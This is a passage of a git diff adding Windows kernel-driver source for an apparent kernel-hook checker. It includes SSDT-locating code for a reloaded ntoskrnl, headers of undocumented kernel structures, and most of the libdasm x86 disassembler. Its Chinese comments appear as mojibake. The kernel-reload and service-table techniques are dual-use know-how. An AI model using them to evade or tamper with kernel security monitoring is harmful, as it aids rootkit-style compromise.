KeServiceDesriptorTableµŘÖ· + //RelocAddress + 4 ´ć·Ĺ×Ĺ KeServiceDesriptorTableµÚŇ»łÉԱҲľÍĘÇSSDT»ůÖ· + *NewKiServiceTable=*(DWORD*)((DWORD)RelocAddress+4)-ExistImageBase+(DWORD)NewImageBase; + return TRUE; + } + } + + } + + } + ImageBaseReloc=(PIMAGE_BASE_RELOCATION)((DWORD)ImageBaseReloc+ImageBaseReloc->SizeOfBlock); + } + + return FALSE; +} diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h new file mode 100644 index 00000000..425c7687 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h @@ -0,0 +1,242 @@ +#include "DriverEntry.h" +#include + +#pragma once +typedef unsigned long DWORD; +typedef DWORD * PDWORD; +typedef unsigned char BYTE, *PBYTE; +typedef unsigned short WORD, *PWORD; + + +typedef struct _SYSTEM_MODULE_INFORMATION // ϵͳģżéĐĹϢ +{ + ULONG Reserved[2]; + ULONG Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +typedef struct _tagSysModuleList { //ÄŁżéÁ´˝áąą + ULONG ulCount; + SYSTEM_MODULE_INFORMATION smi[1]; +} MODULES, *PMODULES; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // 0 Y N + SystemProcessorInformation, // 1 Y N + SystemPerformanceInformation, // 2 Y N + SystemTimeOfDayInformation, // 3 Y N + SystemNotImplemented1, // 4 Y N + SystemProcessesAndThreadsInformation, // 5 Y N + SystemCallCounts, // 6 Y N + SystemConfigurationInformation, // 7 Y N + SystemProcessorTimes, // 8 Y N + SystemGlobalFlag, // 9 Y Y + SystemNotImplemented2, // 10 Y N + SystemModuleInformation, // 11 Y N + SystemLockInformation, // 12 Y N + SystemNotImplemented3, // 13 Y N + SystemNotImplemented4, // 14 Y N + SystemNotImplemented5, // 15 Y N + SystemHandleInformation, // 16 Y N + SystemObjectInformation, // 17 Y N + SystemPagefileInformation, // 18 Y N + SystemInstructionEmulationCounts, // 19 Y N + SystemInvalidInfoClass1, // 20 + SystemCacheInformation, // 21 Y Y + SystemPoolTagInformation, // 22 Y N + SystemProcessorStatistics, // 23 Y N + SystemDpcInformation, // 24 Y Y + SystemNotImplemented6, // 25 Y N + SystemLoadImage, // 26 N Y + SystemUnloadImage, // 27 N Y + SystemTimeAdjustment, // 28 Y Y + SystemNotImplemented7, // 29 Y N + SystemNotImplemented8, // 30 Y N + SystemNotImplemented9, // 31 Y N + SystemCrashDumpInformation, // 32 Y N + SystemExceptionInformation, // 33 Y N + SystemCrashDumpStateInformation, // 34 Y Y/N + SystemKernelDebuggerInformation, // 35 Y N + SystemContextSwitchInformation, // 36 Y N + SystemRegistryQuotaInformation, // 37 Y Y + SystemLoadAndCallImage, // 38 N Y + SystemPrioritySeparation, // 39 N Y + SystemNotImplemented10, // 40 Y N + SystemNotImplemented11, // 41 Y N + SystemInvalidInfoClass2, // 42 + SystemInvalidInfoClass3, // 43 + SystemTimeZoneInformation, // 44 Y N + SystemLookasideInformation, // 45 Y N + SystemSetTimeSlipEvent, // 46 N Y + SystemCreateSession, // 47 N Y + SystemDeleteSession, // 48 N Y + SystemInvalidInfoClass4, // 49 + SystemRangeStartInformation, // 50 Y N + SystemVerifierInformation, // 51 Y Y + SystemAddVerifier, // 52 N Y + SystemSessionProcessesInformation // 53 Y N +} SYSTEM_INFORMATION_CLASS; + +#define LDRP_RELOCATION_FINAL 0x2 +#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001) + + +typedef struct _AUX_ACCESS_DATA { + PPRIVILEGE_SET PrivilegesUsed; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK AccessesToAudit; + ACCESS_MASK MaximumAuditMask; + ULONG Unknown[41]; +} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA; + + + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; +// typedef struct _IMAGE_BASE_RELOCATION { +// DWORD VirtualAddress; +// DWORD SizeOfBlock; +// // WORD TypeOffset[1]; +// } IMAGE_BASE_RELOCATION,*PIMAGE_BASE_RELOCATION; +// typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { + /* + * Table containing cServices elements of pointers to service handler + * functions, indexed by service ID. + */ + PDWORD ServiceTable; + /* + * Table that counts how many times each service is used. This table + * is only updated in checked builds. + */ + PULONG CounterTable; + /* + * Number of services contained in this table. + */ + ULONG TableSize; + /* + * Table containing the number of bytes of parameters the handler + * function takes. + */ + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; +NTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress); + + + +NTSTATUS + NTAPI + ZwQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInfoClass, + OUT PVOID SystemInfoBuffer, + IN ULONG SystemInfoBufferSize, + OUT PULONG BytesReturned OPTIONAL + ); +NTSTATUS + NTAPI + ObCreateObject ( + IN KPROCESSOR_MODE ObjectAttributesAccessMode OPTIONAL, + IN POBJECT_TYPE ObjectType, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN KPROCESSOR_MODE AccessMode, + IN OUT PVOID ParseContext OPTIONAL, + IN ULONG ObjectSize, + IN ULONG PagedPoolCharge OPTIONAL, + IN ULONG NonPagedPoolCharge OPTIONAL, + OUT PVOID *Object + ); + + +NTSTATUS + NTAPI + SeCreateAccessState( + PACCESS_STATE AccessState, + PAUX_ACCESS_DATA AuxData, + ACCESS_MASK Access, + PGENERIC_MAPPING GenericMapping + ); + + +NTSYSAPI + PVOID + NTAPI + RtlImageDirectoryEntryToData ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +BOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase); + + + + +typedef VOID (__stdcall *ReloadRtlInitUnicodeString)( + __inout PUNICODE_STRING DestinationString, + __in_opt PCWSTR SourceString + ); +ReloadRtlInitUnicodeString RRtlInitUnicodeString; + +typedef LONG (__stdcall * ReloadRtlCompareUnicodeString)( + __in PCUNICODE_STRING String1, + __in PCUNICODE_STRING String2, + __in BOOLEAN CaseInSensitive + ); +ReloadRtlCompareUnicodeString RRtlCompareUnicodeString; + + +typedef PVOID (__stdcall *ReloadMmGetSystemRoutineAddress)( + __in PUNICODE_STRING SystemRoutineName + ); +ReloadMmGetSystemRoutineAddress RMmGetSystemRoutineAddress; + + + +typedef BOOLEAN (__stdcall * ReloadMmIsAddressValid)( + __in PVOID VirtualAddress + ); +ReloadMmIsAddressValid RMmIsAddressValid; + + +typedef PEPROCESS (__stdcall *ReloadPsGetCurrentProcess)(void); +ReloadPsGetCurrentProcess RPsGetCurrentProcess; + +BOOLEAN GetOriginalKiServiceTable(BYTE *NewImageBase,DWORD ExistImageBase,DWORD *NewKiServiceTable); +VOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase); \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c new file mode 100644 index 00000000..9df4d804 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c @@ -0,0 +1,1127 @@ + +/* + * libdasm -- simple x86 disassembly library + * (c) 2004 - 2005 jt / nologin.org + * + * + * TODO: + * - more documentation + * - do more code validation + * + */ + +#include +#include +#include "libdasm.h" +#include "tables.h" + + +// Endianess conversion routines (thanks Ero) + +__inline__ BYTE FETCH8(BYTE *addr) { + // So far byte cast seems to work on all tested platforms + return *(BYTE *)addr; +} + +__inline__ WORD FETCH16(BYTE *addr) { +#if defined __X86__ + // Direct cast only for x86 + return *(WORD *)addr; +#else + // Revert to memcpy + WORD val; + memcpy(&val, addr, 2); +#if defined __LITTLE_ENDIAN__ + return val; +#else + return ((val & 0xff00) >> 8) | + ((val & 0x00ff) << 8); + +#endif // __LITTLE_ENDIAN__ +#endif // __X86__ +} + +__inline__ DWORD FETCH32(BYTE *addr) { +#if defined __X86__ + return *(DWORD *)addr; +#else + DWORD val; + memcpy(&val, addr, 4); +#if defined __LITTLE_ENDIAN__ + return val; +#else + return ((val & (0xff000000)) >> 24) | + ((val & (0x00ff0000)) >> 8) | + ((val & (0x0000ff00)) << 8) | + ((val & (0x000000ff)) << 24); + +#endif // __LITTLE_ENDIAN__ +#endif // __X86__ +} + + +// Parse 2 and 3-byte opcodes + +int get_real_instruction2(BYTE *addr, int *flags) { + switch (*addr) { + + // opcode extensions for 2-byte opcodes + case 0x00: + // Clear extension + *flags &= 0xFFFFFF00; + *flags |= EXT_G6; + break; + case 0x01: + *flags &= 0xFFFFFF00; + *flags |= EXT_G7; + break; + case 0x71: + *flags &= 0xFFFFFF00; + *flags |= EXT_GC; + break; + case 0x72: + *flags &= 0xFFFFFF00; + *flags |= EXT_GD; + break; + case 0x73: + *flags &= 0xFFFFFF00; + *flags |= EXT_GE; + break; + case 0xae: + *flags &= 0xFFFFFF00; + *flags |= EXT_GF; + break; + case 0xba: + *flags &= 0xFFFFFF00; + *flags |= EXT_G8; + break; + case 0xc7: + *flags &= 0xFFFFFF00; + *flags |= EXT_G9; + break; + default: + break; + } + return 0; +} + +// Parse instruction flags, get opcode index + +int get_real_instruction(BYTE *addr, int *index, int *flags) { + switch (*addr) { + + // 2-byte opcode + case 0x0f: + *index += 1; + *flags |= EXT_T2; + break; + + // Prefix group 2 + case 0x2e: + *index += 1; + // Clear previous flags from same group (undefined effect) + *flags &= 0xFF00FFFF; + *flags |= PREFIX_CS_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + case 0x36: + *index += 1; + *flags &= 0xFF00FFFF; + *flags |= PREFIX_SS_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + case 0x3e: + *index += 1; + *flags &= 0xFF00FFFF; + *flags |= PREFIX_DS_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + case 0x26: + *index += 1; + *flags &= 0xFF00FFFF; + *flags |= PREFIX_ES_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + case 0x64: + *index += 1; + *flags &= 0xFF00FFFF; + *flags |= PREFIX_FS_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + case 0x65: + *index += 1; + *flags &= 0xFF00FFFF; + *flags |= PREFIX_GS_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + // Prefix group 3 or 3-byte opcode + case 0x66: + // Do not clear flags from the same group!!!! + *index += 1; + *flags |= PREFIX_OPERAND_SIZE_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + // Prefix group 4 + case 0x67: + // Do not clear flags from the same group!!!! + *index += 1; + *flags |= PREFIX_ADDR_SIZE_OVERRIDE; + get_real_instruction(addr + 1, index, flags); + break; + + // Extension group 1 + case 0x80: + case 0x81: + case 0x82: + case 0x83: + *flags |= EXT_G1; + break; + + // Extension group 2 + case 0xc0: + case 0xc1: + case 0xd0: + case 0xd1: + case 0xd2: + case 0xd3: + *flags |= EXT_G2; + break; + + // Escape to co-processor + case 0xd8: + case 0xd9: + case 0xda: + case 0xdb: + case 0xdc: + case 0xdd: + case 0xde: + case 0xdf: + *index += 1; + *flags |= EXT_CP; + break; + + // Prefix group 1 or 3-byte opcode + case 0xf0: + *index += 1; + *flags &= 0x00FFFFFF; + *flags |= PREFIX_LOCK; + get_real_instruction(addr + 1, index, flags); + break; + case 0xf2: + *index += 1; + *flags &= 0x00FFFFFF; + *flags |= PREFIX_REPNE; + get_real_instruction(addr + 1, index, flags); + break; + case 0xf3: + *index += 1; + *flags &= 0x00FFFFFF; + *flags |= PREFIX_REP; + get_real_instruction(addr + 1, index, flags); + break; + + // Extension group 3 + case 0xf6: + case 0xf7: + *flags |= EXT_G3; + break; + + // Extension group 4 + case 0xfe: + *flags |= EXT_G4; + break; + + // Extension group 5 + case 0xff: + *flags |= EXT_G5; + break; + default: + break; + } + return 0; +} + +// Parse operand and fill OPERAND structure + +int get_operand(PINST inst, int oflags, PINSTRUCTION instruction, + POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) { + BYTE *addr = data + offset; + int index = 0, sib = 0, scale = 0; + int reg = REG_NOP; + int basereg = REG_NOP; + int indexreg = REG_NOP; + int dispbytes = 0; + enum Mode pmode; + + // Is this valid operand? + if (oflags == FLAGS_NONE) { + op->type = OPERAND_TYPE_NONE; + return 1; + } + // Copy flags + op->flags = oflags; + + // Set operand registers + op->reg = REG_NOP; + op->basereg = REG_NOP; + op->indexreg = REG_NOP; + + // Offsets + op->dispoffset = 0; + op->immoffset = 0; + + // Parse modrm and sib + if (inst->modrm) { + // 32-bit mode + if (((mode == MODE_32) && (MASK_PREFIX_ADDR(iflags) == 0)) || + ((mode == MODE_16) && (MASK_PREFIX_ADDR(iflags) == 1))) + pmode = MODE_32; + else + pmode = MODE_16; + + // Update length only once! + if (!instruction->length) { + instruction->modrm = *addr; + instruction->length += 1; + } + // Register + reg = MASK_MODRM_REG(*addr); + + // Displacement bytes + // SIB can also specify additional displacement, see below + if (MASK_MODRM_MOD(*addr) == 0) { + if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP)) + dispbytes = 4; + if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI)) + dispbytes = 2; + } else if (MASK_MODRM_MOD(*addr) == 1) { + dispbytes = 1; + + } else if (MASK_MODRM_MOD(*addr) == 2) { + dispbytes = (pmode == MODE_32) ? 4 : 2; + } + // Base and index registers + + // 32-bit mode + if (pmode == MODE_32) { + if ((MASK_MODRM_RM(*addr) == REG_ESP) && + (MASK_MODRM_MOD(*addr) != 3)) { + sib = 1; + instruction->sib = *(addr + 1); + + // Update length only once! + if (instruction->length == 1) { + instruction->sib = *(addr + 1); + instruction->length += 1; + } + basereg = MASK_SIB_BASE( *(addr + 1)); + indexreg = MASK_SIB_INDEX(*(addr + 1)); + scale = MASK_SIB_SCALE(*(addr + 1)) * 2; + // Fix scale *8 + if (scale == 6) + scale += 2; + + // Special case where base=ebp and MOD = 0 + if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) { + basereg = REG_NOP; + dispbytes = 4; + } + if (indexreg == REG_ESP) + indexreg = REG_NOP; + } else { + if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP)) + basereg = REG_NOP; + else + basereg = MASK_MODRM_RM(*addr); + } + // 16-bit + } else { + switch (MASK_MODRM_RM(*addr)) { + case 0: + basereg = REG_EBX; + indexreg = REG_ESI; + break; + case 1: + basereg = REG_EBX; + indexreg = REG_EDI; + break; + case 2: + basereg = REG_EBP; + indexreg = REG_ESI; + break; + case 3: + basereg = REG_EBP; + indexreg = REG_EDI; + break; + case 4: + basereg = REG_ESI; + indexreg = REG_NOP; + break; + case 5: + basereg = REG_EDI; + indexreg = REG_NOP; + break; + case 6: + if (!MASK_MODRM_MOD(*addr)) + basereg = REG_NOP; + else + basereg = REG_EBP; + indexreg = REG_NOP; + break; + case 7: + basereg = REG_EBX; + indexreg = REG_NOP; + break; + } + if (MASK_MODRM_MOD(*addr) == 3) { + basereg = MASK_MODRM_RM(*addr); + indexreg = REG_NOP; + } + } + } + // Operand addressing mode -specific parsing + switch (MASK_AM(oflags)) { + + // Register encoded in instruction + case AM_REG: + op->type = OPERAND_TYPE_REGISTER; + op->reg = MASK_REG(oflags); + break; + + // Register/memory encoded in MODRM + case AM_M: + if (MASK_MODRM_MOD(*addr) == 3) + return 0; + goto skip_rest; + case AM_R: + if (MASK_MODRM_MOD(*addr) != 3) + return 0; +skip_rest: + case AM_Q: + case AM_W: + case AM_E: + op->type = OPERAND_TYPE_MEMORY; + op->dispbytes = dispbytes; + instruction->dispbytes = dispbytes; + op->basereg = basereg; + op->indexreg = indexreg; + op->scale = scale; + + index = (sib) ? 1 : 0; + if (dispbytes) + op->dispoffset = index + 1 + offset; + switch (dispbytes) { + case 0: + break; + case 1: + op->displacement = FETCH8(addr + 1 + index); + // Always sign-extend + if (op->displacement >= 0x80) + op->displacement |= 0xffffff00; + break; + case 2: + op->displacement = FETCH16(addr + 1 + index); + + // Malformed opcode + if (op->displacement < 0x80) + return 0; + break; + case 4: + op->displacement = FETCH32(addr + 1 + index); + + // XXX: problems with [index*scale + disp] addressing + //if (op->displacement < 0x80) + // return 0; + break; + } + + // MODRM defines register + if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) { + op->type = OPERAND_TYPE_REGISTER; + op->reg = basereg; + } + break; + + // Immediate byte 1 encoded in instruction + case AM_I1: + op->type = OPERAND_TYPE_IMMEDIATE; + op->immbytes = 1; + op->immediate = 1; + break; + // Immediate value + case AM_J: + op->type = OPERAND_TYPE_IMMEDIATE; + // Always sign-extend + oflags |= F_s; + case AM_I: + op->type = OPERAND_TYPE_IMMEDIATE; + index = (inst->modrm) ? 1 : 0; + index += (sib) ? 1 : 0; + index += instruction->immbytes; + index += instruction->dispbytes; + op->immoffset = index + offset; + + // 32-bit mode + if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) || + ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1))) + mode = MODE_32; + else + mode = MODE_16; + + switch (MASK_OT(oflags)) { + case OT_b: + op->immbytes = 1; + op->immediate = FETCH8(addr + index); + if ((op->immediate >= 0x80) && + (MASK_FLAGS(oflags) == F_s)) + op->immediate |= 0xffffff00; + break; + case OT_v: + op->immbytes = (mode == MODE_32) ? + 4 : 2; + op->immediate = (mode == MODE_32) ? + FETCH32(addr + index) : + FETCH16(addr + index); + break; + case OT_w: + op->immbytes = 2; + op->immediate = FETCH16(addr + index); + break; + } + instruction->immbytes += op->immbytes; + break; + + // 32-bit or 48-bit address + case AM_A: + op->type = OPERAND_TYPE_IMMEDIATE; + // 32-bit mode + if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) || + ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1))) + mode = MODE_32; + else + mode = MODE_16; + + op->dispbytes = (mode == MODE_32) ? 6 : 4; + op->displacement = (mode == MODE_32) ? + FETCH32(addr) : FETCH16(addr); + op->section = FETCH16(addr + op->dispbytes - 2); + + instruction->dispbytes = op->dispbytes; + instruction->sectionbytes = 2; + break; + + // Plain displacement without MODRM/SIB + case AM_O: + op->type = OPERAND_TYPE_MEMORY; + switch (MASK_OT(oflags)) { + case OT_b: + op->dispbytes = 1; + op->displacement = FETCH8(addr); + break; + case OT_v: + op->dispbytes = (mode == MODE_32) ? 4 : 2; + op->displacement = (mode == MODE_32) ? + FETCH32(addr) : FETCH16(addr); + break; + } + instruction->dispbytes = op->dispbytes; + op->dispoffset = offset; + break; + + // General-purpose register encoded in MODRM + case AM_G: + op->type = OPERAND_TYPE_REGISTER; + op->reg = reg; + break; + + // control register encoded in MODRM + case AM_C: + // debug register encoded in MODRM + case AM_D: + // Segment register encoded in MODRM + case AM_S: + // TEST register encoded in MODRM + case AM_T: + // MMX register encoded in MODRM + case AM_P: + // XMM register encoded in MODRM + case AM_V: + op->type = OPERAND_TYPE_REGISTER; + op->reg = MASK_MODRM_REG(instruction->modrm); + break; + } + return 1; +} + + +// Print operand string + +#if !defined NOSTR +int get_operand_string(INSTRUCTION *inst, OPERAND *op, + enum Format format, DWORD offset, char *string, int length) { + + enum Mode mode; + int regtype = 0; + DWORD tmp; + + memset(string, 0, length); + + if (op->type == OPERAND_TYPE_REGISTER) { + // 32-bit mode + if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) || + ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1))) + mode = MODE_32; + else + mode = MODE_16; + + if (format == FORMAT_ATT) + snprintf(string + strlen(string), length - strlen(string), "%%"); + + // Determine register type + switch (MASK_AM(op->flags)) { + case AM_REG: + if (MASK_FLAGS(op->flags) == F_r) + regtype = REG_SEGMENT; + else if (MASK_FLAGS(op->flags) == F_f) + regtype = REG_FPU; + else + regtype = REG_GEN_DWORD; + break; + case AM_E: + case AM_G: + case AM_R: + regtype = REG_GEN_DWORD; + break; + // control register encoded in MODRM + case AM_C: + regtype = REG_CONTROL; + break; + // debug register encoded in MODRM + case AM_D: + regtype = REG_DEBUG; + break; + // Segment register encoded in MODRM + case AM_S: + regtype = REG_SEGMENT; + break; + // TEST register encoded in MODRM + case AM_T: + regtype = REG_TEST; + break; + // MMX register encoded in MODRM + case AM_P: + case AM_Q: + regtype = REG_MMX; + break; + // XMM register encoded in MODRM + case AM_V: + case AM_W: + regtype = REG_XMM; + break; + } + if (regtype == REG_GEN_DWORD) { + switch (MASK_OT(op->flags)) { + case OT_b: + snprintf(string + strlen(string), length - strlen(string), + "%s", reg_table[REG_GEN_BYTE][op->reg]); + break; + case OT_v: + snprintf(string + strlen(string), length - strlen(string), + "%s", (mode == MODE_32) ? + reg_table[REG_GEN_DWORD][op->reg] : + reg_table[REG_GEN_WORD][op->reg]); + break; + case OT_w: + snprintf(string + strlen(string), length - strlen(string), + "%s", reg_table[REG_GEN_WORD][op->reg]); + break; + case OT_d: + snprintf(string + strlen(string), length - strlen(string), + "%s", reg_table[REG_GEN_DWORD][op->reg]); + break; + } + } else + snprintf(string + strlen(string), length - strlen(string), + "%s", reg_table[regtype][op->reg]); + + } else if (op->type == OPERAND_TYPE_MEMORY) { + // 32-bit mode + if (((inst->mode == MODE_32) && (MASK_PREFIX_ADDR(inst->flags) == 0)) || + ((inst->mode == MODE_16) && (MASK_PREFIX_ADDR(inst->flags) == 1))) + mode = MODE_32; + else + mode = MODE_16; + + // Segment register prefix (only in memory operands) + if (MASK_PREFIX_G2(inst->flags)) { + if (format == FORMAT_ATT) + snprintf(string + strlen(string), + length - strlen(string), "%%"); + snprintf(string + strlen(string), length - strlen(string), + "%s:", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); + } + // Displacement in ATT + if (op->dispbytes && (format == FORMAT_ATT)) + snprintf(string + strlen(string), length - strlen(string), + "0x%x", op->displacement); + + // Open memory addressing brackets + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? "(" : "["); + + // Base register + if (op->basereg != REG_NOP) { + snprintf(string + strlen(string), length - strlen(string), + "%s%s", (format == FORMAT_ATT) ? "%" : "", + (mode == MODE_32) ? + reg_table[REG_GEN_DWORD][op->basereg] : + reg_table[REG_GEN_WORD][op->basereg]); + } + // Index register + if (op->indexreg != REG_NOP) { + if (op->basereg != REG_NOP) + snprintf(string + strlen(string), length - strlen(string), + "%s%s", (format == FORMAT_ATT) ? ",%" : "+", + (mode == MODE_32) ? + reg_table[REG_GEN_DWORD][op->indexreg] : + reg_table[REG_GEN_WORD][op->indexreg]); + else + snprintf(string + strlen(string), length - strlen(string), + "%s%s", (format == FORMAT_ATT) ? "%" : "", + (mode == MODE_32) ? + reg_table[REG_GEN_DWORD][op->indexreg] : + reg_table[REG_GEN_WORD][op->indexreg]); + switch (op->scale) { + case 2: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + ",2" : "*2"); + break; + case 4: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + ",4" : "*4"); + break; + case 8: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + ",8" : "*8"); + break; + } + } + // INTEL displacement + if (inst->dispbytes && (format != FORMAT_ATT)) { + if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) { + // Negative displacement + if (op->displacement & (1<<(op->dispbytes*8-1))) { + tmp = op->displacement; + switch (op->dispbytes) { + case 1: + tmp = ~tmp & 0xff; + break; + case 2: + tmp = ~tmp & 0xffff; + break; + case 4: + tmp = ~tmp; + break; + } + snprintf(string + strlen(string), + length - strlen(string), + "-0x%x", tmp + 1); + // Positive displacement + } else + snprintf(string + strlen(string), + length - strlen(string), + "+0x%x", op->displacement); + // Plain displacement + } else { + snprintf(string + strlen(string), + length - strlen(string), + "0x%x", op->displacement); + } + } + // Close memory addressing brackets + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? ")" : "]"); + + } else if (op->type == OPERAND_TYPE_IMMEDIATE) { + // 32-bit mode + if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) || + ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1))) + mode = MODE_32; + else + mode = MODE_16; + + switch (MASK_AM(op->flags)) { + case AM_J: + snprintf(string + strlen(string), length - strlen(string), + "0x%x", op->immediate + inst->length + offset); + break; + case AM_I1: + case AM_I: + if (format == FORMAT_ATT) + snprintf(string + strlen(string), length - strlen(string), "$"); + snprintf(string + strlen(string), length - strlen(string), + "0x%x", op->immediate); + break; + // 32-bit or 48-bit address + case AM_A: + snprintf(string + strlen(string), length - strlen(string), + "%s0x%x:%s0x%x", + (format == FORMAT_ATT) ? "$" : "", + op->section, + (format == FORMAT_ATT) ? "$" : "", + op->displacement); + break; + } + + } else + return 0; + + return 1; +} + +#endif + + +// Fetch instruction + +int get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) { + PINST ptr; + int index = 0; + int flags = 0; + const char *ext = NULL; + + memset(inst, 0, sizeof(INSTRUCTION)); + + // Parse flags, skip prefixes etc. + get_real_instruction(addr, &index, &flags); + + // Select instruction table + + // FPU opcodes + if (MASK_EXT(flags) == EXT_CP) { + if (*(addr + index) < 0xc0) { + // MODRM byte adds the additional byte + index--; + inst->fpuindex = *(addr + index) - 0xd8; + inst->opcode = *(addr + index + 1); + ptr = &inst_table4[inst->fpuindex] + [MASK_MODRM_REG(inst->opcode)]; + } else { + inst->fpuindex = *(addr + index - 1) - 0xd8; + inst->opcode = *(addr + index); + ptr = &inst_table4[inst->fpuindex] + [inst->opcode - 0xb8]; + } + + // 2 or 3-byte opcodes + } else if (MASK_EXT(flags) == EXT_T2) { + inst->opcode = *(addr + index); + get_real_instruction2(addr + index, &flags); + + // 3-byte opcode tables + + // prefix 0x66 + if (MASK_PREFIX_OPERAND(flags) == 1) { + ptr = &inst_table3_66[inst->opcode]; + + // prefix 0xf2 + } else if (MASK_PREFIX_G1(flags) == 2) { + ptr = &inst_table3_f2[inst->opcode]; + + // prefix 0xf3 + } else if (MASK_PREFIX_G1(flags) == 3) { + ptr = &inst_table3_f3[inst->opcode]; + + // normal 2-byte opcode table + } else { + ptr = &inst_table2[inst->opcode]; + } + + // extension group 3 "test" (<-- stupid hack) + } else if ((MASK_EXT(flags) == EXT_G3) && + !MASK_MODRM_REG(*(addr + index + 1))) { + inst->opcode = *(addr + index); + ptr = &inst_table_test[inst->opcode - 0xf6]; + + // finally, the default 1-byte opcode table + } else { + inst->opcode = *(addr + index); + ptr = &inst_table1[inst->opcode]; + } + + // Illegal instruction + if (!ptr->mnemonic) return 0; + + // Copy instruction type + inst->type = ptr->type; + + // Pointer to instruction table + inst->ptr = ptr; + + // Index points now to first byte after prefixes/escapes + index++; + + // Opcode extensions + if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) { + inst->extindex = MASK_MODRM_REG(*(addr + index)); + ext = ext_name_table[(MASK_EXT(flags)) - 1][inst->extindex]; + if (ext == NULL) + return 0; + /* + * Copy instruction type from extension table + * except for groups 12-14. These are special groups + * that are either MMX/SSE instructions. For these, + * just use the type in INST structure. + * + */ + if ((MASK_EXT(flags) < 12) || (MASK_EXT(flags) > 14)) + inst->type = + ext_type_table[(MASK_EXT(flags)) - 1][inst->extindex]; + } + + // Parse operands + if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index, + mode, flags)) + return 0; + if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index, + mode, flags)) + return 0; + if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index, + mode, flags)) + return 0; + + // Add modrm/sib, displacement and immediate bytes in size + inst->length += index + inst->immbytes + inst->dispbytes; + + // Copy addressing mode + inst->mode = mode; + + // Copy instruction flags + inst->flags = flags; + + return inst->length; +} + + +// Print instruction mnemonic + +#if !defined NOSTR +int get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) { + const char *ext; + + memset(string, 0, length); + + // Segment override + if (MASK_PREFIX_G2(inst->flags) && + (inst->op1.type != 